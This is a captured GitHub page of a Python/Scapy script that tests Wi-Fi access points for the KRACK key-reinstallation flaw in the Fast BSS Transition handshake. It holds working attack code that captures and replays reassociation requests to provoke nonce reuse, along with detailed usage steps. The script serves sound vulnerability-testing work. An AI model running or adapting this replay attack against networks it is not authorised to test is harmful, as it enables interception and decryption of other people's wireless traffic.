-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkrack-ft-test.py
executable file
·340 lines (261 loc) · 12 KB
/
krack-ft-test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
#!/usr/bin/env python2
# Copyright (c) 2017, Mathy Vanhoef <[email protected]>
#
# This code may be distributed under the terms of the BSD license.
# See README for more details.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import sys, socket, struct, time, subprocess, atexit, select
from datetime import datetime
IEEE_TLV_TYPE_RSN = 48
IEEE_TLV_TYPE_FT = 55
IEEE80211_RADIOTAP_RATE = (1 << 2)
IEEE80211_RADIOTAP_CHANNEL = (1 << 3)
IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15)
IEEE80211_RADIOTAP_DATA_RETRIES = (1 << 17)
#TODO: - !!! Detect retransmissions based on packet time and sequence counter (see client tests) !!!
#TODO: - Merge code with client tests to avoid code duplication (including some error handling)
#TODO: - Detect new EAPOL handshake or normal association frames (reset state and stop replaying)
#TODO: - Option to use a secondary interface for injection + WARNING if a virtual interface is used + repeat advice to disable hardware encryption
#TODO: - Test whether injection works on the virtual interface (send probe requests to nearby AP and wait for replies)
#TODO: - Execute rfkill unblock wifi because some will forget this
# FIXME: We are repeating the "disable hw encryption" script to client tests
USAGE = """{name} - Tool to test Key Reinstallation Attacks against an AP
To test wheter an AP is vulnerable to a Key Reinstallation Attack against
the Fast BSS Transition (FT) handshake, take the following steps:
1. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere
with our script. So disable hardware encryption by executing:
./disable-hwcrypto.sh
This only needs to be done once. It's recommended to reboot after executing
this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc`
or similar to confirm the nohwcript/.. param has been set. We tested this
with an a TP-Link TL-WN722N and an Alfa AWUS051NH v2.
2. Create a wpa_supplicant configuration file that can be used to connect
to the network. A basic example is:
ctrl_interface=/var/run/wpa_supplicant
network={{
ssid="testnet"
key_mgmt=FT-PSK
psk="password"
}}
Note the use of "FT-PSK". Save it as network.conf or similar. For more
info see https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf
3. Try to connect to the network using your platform's wpa_supplicant.
This will likely require a command such as:
sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf
If this fails, either the AP does not support FT, or you provided the wrong
network configuration options in step 1.
4. Use this script as a wrapper over the previous wpa_supplicant command:
sudo {name} wpa_supplicant -D nl80211 -i wlan0 -c network.conf
This will execute the wpa_supplicant command using the provided parameters,
and will add a virtual monitor interface that will perform attack tests.
5. Use wpa_cli to roam to a different AP of the same network. For example:
sudo wpa_cli -i wlan0
> status
bssid=c4:e9:84:db:fb:7b
ssid=testnet
...
> scan_results
bssid / frequency / signal level / flags / ssid
c4:e9:84:db:fb:7b 2412 -21 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
c4:e9:84:1d:a5:bc 2412 -31 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
...
> roam c4:e9:84:1d:a5:bc
...
In this example we were connected to AP c4:e9:84:db:fb:7b of testnet (see
status command). The scan_results command shows this network also has a
second AP with MAC c4:e9:84:1d:a5:bc. We then roam to this second AP.
6. Generate traffic between the AP and client. For example:
sudo arping -I wlan0 192.168.1.10
7. Now look at the output of {name} to see if the AP is vulnerable.
6a. First it should say "Detected FT reassociation frame". Then it will
start replaying this frame to try the attack.
6b. The script shows which IVs (= packet numbers) the AP is using when
sending data frames.
6c. Message "IV reuse detected (IV=X, seq=Y). AP is vulnerable!" means
we confirmed it's vulnerable.
!! Be sure to manually check network traces as well, to confirm this script
!! is replaying the reassociation request properly, and to manually confirm
!! whether there is IV (= packet number) reuse or not.
Example output of vulnerable AP:
[15:59:24] Replaying Reassociation Request
[15:59:25] AP transmitted data using IV=1 (seq=0)
[15:59:25] Replaying Reassociation Request
[15:59:26] AP transmitted data using IV=1 (seq=0)
[15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable!
Example output of patched AP (note that IVs are never reused):
[16:00:49] Replaying Reassociation Request
[16:00:49] AP transmitted data using IV=1 (seq=0)
[16:00:50] AP transmitted data using IV=2 (seq=1)
[16:00:50] Replaying Reassociation Request
[16:00:51] AP transmitted data using IV=3 (seq=2)
[16:00:51] Replaying Reassociation Request
[16:00:52] AP transmitted data using IV=4 (seq=3)
"""
#### Basic output and logging functionality ####
ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6)
COLORCODES = { "gray" : "\033[0;37m",
"green" : "\033[0;32m",
"orange": "\033[0;33m",
"red" : "\033[0;31m" }
global_log_level = INFO
def log(level, msg, color=None, showtime=True):
if level < global_log_level: return
if level == DEBUG and color is None: color="gray"
if level == WARNING and color is None: color="orange"
if level == ERROR and color is None: color="red"
print (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m"
#### Packet Processing Functions ####
class MitmSocket(L2Socket):
def __init__(self, **kwargs):
super(MitmSocket, self).__init__(**kwargs)
def send(self, p):
# Hack: set the More Data flag so we can detect injected frames (and so clients stay awake longer)
p[Dot11].FCfield |= 0x20
L2Socket.send(self, RadioTap()/p)
def _strip_fcs(self, p):
# Scapy can't handle the optional Frame Check Sequence (FCS) field automatically
if p[RadioTap].present & 2 != 0:
rawframe = str(p[RadioTap])
pos = 8
while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4
# If the TSFT field is present, it must be 8-bytes aligned
if p[RadioTap].present & 1 != 0:
pos += (8 - (pos % 8))
pos += 8
# Remove FCS if present
if ord(rawframe[pos]) & 0x10 != 0:
return Dot11(str(p[Dot11])[:-4])
return p[Dot11]
def recv(self, x=MTU):
p = L2Socket.recv(self, x)
if p == None or not Dot11 in p: return None
# Hack: ignore frames that we just injected and are echoed back by the kernel
if p[Dot11].FCfield & 0x20 != 0:
return None
# Strip the FCS if present, and drop the RadioTap header
return self._strip_fcs(p)
def close(self):
super(MitmSocket, self).close()
def dot11_get_seqnum(p):
return p[Dot11].SC >> 4
def dot11_get_iv(p):
"""Scapy can't handle Extended IVs, so do this properly ourselves (only works for CCMP)"""
if Dot11WEP not in p:
log(ERROR, "INTERNAL ERROR: Requested IV of plaintext frame")
return 0
wep = p[Dot11WEP]
if wep.keyid & 32:
return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[:4])[0] << 16)
else:
return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16)
def get_tlv_value(p, type):
if not Dot11Elt in p: return None
el = p[Dot11Elt]
while isinstance(el, Dot11Elt):
if el.ID == type:
return el.info
el = el.payload
return None
#### Man-in-the-middle Code ####
class KRAckAttackFt():
def __init__(self, interface):
self.nic_iface = interface
self.nic_mon = interface + "mon"
self.clientmac = scapy.arch.get_if_hwaddr(interface)
self.sock = None
self.wpasupp = None
self.reassoc = None
self.ivs = set()
self.next_replay = None
def handle_rx(self):
p = self.sock.recv()
if p == None: return
# Detect whether hardware encryption is decrypting the frame, *and* removing the TKIP/CCMP
# header of the (now decrypted) frame.
# FIXME: Put this check in MitmSocket? We want to check this in client tests as well!
if self.clientmac in [p.addr1, p.addr2] and Dot11WEP in p:
# If the hardware adds/removes the TKIP/CCMP header, this is where the plaintext starts
payload = str(p[Dot11WEP])
# Check if it's indeed a common LCC/SNAP plaintext header of encrypted frames, and
# *not* the header of a plaintext EAPOL handshake frame
if payload.startswith("\xAA\xAA\x03\x00\x00\x00") and not payload.startswith("\xAA\xAA\x03\x00\x00\x00\x88\x8e"):
log(ERROR, "ERROR: Virtual monitor interface doesn't seem to pass 802.11 encryption header to userland.")
log(ERROR, " Try to disable hardware encryption, or use a 2nd interface for injection.", showtime=False)
quit(1)
if p.addr2 == self.clientmac and Dot11ReassoReq in p:
if get_tlv_value(p, IEEE_TLV_TYPE_RSN) and get_tlv_value(p, IEEE_TLV_TYPE_FT):
log(INFO, "Detected FT reassociation frame")
self.reassoc = p
self.next_replay = time.time() + 1
else:
log(INFO, "Reassociation frame does not appear to be an FT one")
self.reassoc = None
self.ivs = set()
elif p.addr2 == self.clientmac and Dot11AssoReq in p:
log(INFO, "Detected normal association frame")
self.reassoc = None
self.ivs = set()
elif p.addr1 == self.clientmac and Dot11WEP in p:
iv = dot11_get_iv(p)
log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p)))
# FIXME: When the client disconnects (or reconnects), clear the set of used IVs
if iv in self.ivs:
log(INFO, ("IV reuse detected (IV=%d, seq=%d). " +
"AP is vulnerable!") % (iv, dot11_get_seqnum(p)), color="green")
self.ivs.add(iv)
def configure_interfaces(self):
log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
# 1. Remove unused virtual interfaces to start from a clean state
subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
# 2. Configure monitor mode on interfaces
subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
# Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
# sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
time.sleep(0.5)
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
subprocess.check_output(["ifconfig", self.nic_mon, "up"])
def run(self):
self.configure_interfaces()
self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
# Open the wpa_supplicant client that will connect to the network that will be tested
self.wpasupp = subprocess.Popen(sys.argv[1:])
# Monitor the virtual monitor interface of the client and perform the needed actions
while True:
sel = select.select([self.sock], [], [], 1)
if self.sock in sel[0]: self.handle_rx()
if self.reassoc and time.time() > self.next_replay:
log(INFO, "Replaying Reassociation Request")
self.sock.send(self.reassoc)
self.next_replay = time.time() + 1
def stop(self):
log(STATUS, "Closing wpa_supplicant and cleaning up ...")
if self.wpasupp:
self.wpasupp.terminate()
self.wpasupp.wait()
if self.sock: self.sock.close()
def cleanup():
attack.stop()
def argv_get_interface():
for i in range(len(sys.argv)):
if not sys.argv[i].startswith("-i"):
continue
if len(sys.argv[i]) > 2:
return sys.argv[i][2:]
else:
return sys.argv[i + 1]
return None
if __name__ == "__main__":
if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv:
print USAGE.format(name=sys.argv[0])
quit(1)
# TODO: Verify that we only accept CCMP?
interface = argv_get_interface()
if not interface:
log(ERROR, "Failed to determine wireless interface. Specify one using the -i parameter.")
quit(1)
attack = KRAckAttackFt(interface)
atexit.register(cleanup)
attack.run()